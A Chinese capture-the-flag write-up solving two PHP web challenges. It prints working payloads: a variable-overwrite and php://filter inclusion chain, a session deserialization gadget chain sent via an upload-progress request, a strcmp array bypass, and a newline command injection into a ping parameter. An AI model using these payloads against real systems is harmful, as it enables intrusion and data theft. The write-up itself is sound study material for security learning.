0%

ictf网络安全内生试验场wp

best_language1

题目是代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
error_reporting(0);
highlight_file(__FILE__);
include('secret_key.php');
if(!empty($_GET["name"])) {
$arr = array($_GET["name"],$secret_key);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
echo $data;
}

if( ($secret_key) === $_GET['key']){
echo "<br>you get the key<br>";
$first='aa';
$ccc='amdin';
$i=1;
foreach($_GET as $key => $value) {
if($i===1)
{
$i++;
$$key = $value;
}
else{break;}
}
if($first==="u")
{
echo "<br>shi fu 666<br>";
$file='phpinfo.php';
$func = $_GET['function'];
call_user_func($func,$_GET);
if($ccc==="F1ag")
{
echo "<br>tqltqltqltqltql<br>";
require('class.php');
include($file);
}
}
else
{
echo "Can you hack me?<br>";
}
}

比赛的时候做到call_user_func做不下去了,不知道这里该怎样利用,赛后看了wp,复现一下

前边两个条件利用点都很明显,name=%s获得key: th3_k3y_y0u_cann0t_guess2333

利用$$变量覆盖,first=u&key=th3_k3y_y0u_cann0t_guess2333,进入下一个条件

常规call_user_func利用方式是call_user_func(assert,$_GET['cmd']);,但是这里第二个参数给了$_GET数组,这里怎么都没想到怎么利用,看了wp才发现原来是利用extract()进行变量覆盖

其实想想下边要使$ccc等于F1ag,也就是变量覆盖啊,如果当时搜一下变量覆盖,应该还是可以发现extract()的,此外,对php还是不熟。。

first=u&key=th3_k3y_y0u_cann0t_guess2333&function=extract&ccc=F1ag

到这里包含了phpinfo.php,得想办法看一下其他文件,这里已知的文件还有class.php,还是利用extract()变量覆盖

first=u&key=th3_k3y_y0u_cann0t_guess2333&function=extract&ccc=F1ag&file=php://filter/read=convert.base64-encode/resource=class.php

得到class.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class Monitor {
public $test;
function __construct() {
$this->test ="index.php";
}

function __destruct() {
echo "<br>file:" .$this->test."<br>";
}
}

class Welcome {
public $obj;
public $var;
function __construct(){
$this->var='success';
$this->obj=null;
}
function __toString(){
$this->obj->execute();
return $this->var."";
}


}
class Come{
public $method;
public $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str){
$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('/../','',$str);
$str=str_replace('../','',$str);
return $str;
}
function get_dir($path){
print_r(scandir("/tmp".$path));
}

function execute() {
if (in_array($this->method, array("get_dir"))) {
call_user_func_array(array($this, $this->method), ($this->args));
}
}
}
?>

看开头,是php session的反序列化漏洞,且从phpinfo可以看到session.upload_progress开着

利用方法通过session触发反序列化,执行流程时实例化Monitor对象,在__destruct中执行Welcome对象,通过Welcome再次调用Come,使其执行execute函数

1
2
3
4
5
6
$come = new Come('get_dir',array('/....//var/www/html'));
$welcome = new Welcome();
$welcome->obj = $come;
$monitor = new Monitor();
$monitor->test = $welcome;
var_dump(serialize($monitor));

得到|O:7:"Monitor":1:{s:4:"test";O:7:"Welcome":2:{s:3:"obj";O:4:"Come":2:{s:6:"method";s:7:"get_dir";s:4:"args";a:1:{i:0;s:19:"/....//var/www/html";}}s:3:"var";s:7:"success";}}

构造上传,进行利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /class.php HTTP/1.1
Host: 120.55.43.255:13006
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=n2vmnk2v6nfga3mvbtb74tfak4
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------18467633426500
Content-Length: 649

-----------------------------18467633426500
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

|O:7:"Monitor":1:{s:4:"test";O:7:"Welcome":2:{s:3:"obj";O:4:"Come":2:{s:6:"method";s:7:"get_dir";s:4:"args";a:1:{i:0;s:19:"/....//var/www/html";}}s:3:"var";s:7:"success";}}
-----------------------------18467633426500
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain

|O:7:"Monitor":1:{s:4:"test";O:7:"Welcome":2:{s:3:"obj";O:4:"Come":2:{s:6:"method";s:7:"get_dir";s:4:"args";a:1:{i:0;s:19:"/....//var/www/html";}}s:3:"var";s:7:"success";}}
-----------------------------18467633426500--

得到flag即为7his_1s_F1aG,再利用文件包含即可得到flag

http://120.55.43.255:13006/?first=u&key=th3_k3y_y0u_cann0t_guess2333&function=extract&ccc=F1ag&file=php://filter/read=convert.base64-encode/resource=7his_1s_F1aG

ping

访问题目地址,看到

1
There is a ping.php

查看源码

1
2
3
4
5
6
7
8
9
10
11
12
There is a ping.php
<!--
$password="****************";
if(isset($_POST['password'])){
if (strcmp($_POST['password'], $password) == 0) {
echo "Right!!!login success";
include($_REQUEST['path']);
exit();
} else {
echo "Wrong password..";
}
-->

POST password[]=即可绕过

POST password[]=&path=php://filter/convert.base64-encode/resource=ping.php查看源码,解码后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if(isset($_REQUEST[ 'ip' ])) {
$target = trim($_REQUEST[ 'ip' ]);
$substitutions = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd = shell_exec( 'ping -c 4 ' . $target );
echo $target;
echo "<pre>{$cmd}</pre>";
}

过滤了这么多常见分隔符,不知道怎么下手,搜了一下,发现可以利用%0a换行符,然后就找到flag了

ping.php?ip=127.0.0.1%20%0a%20ls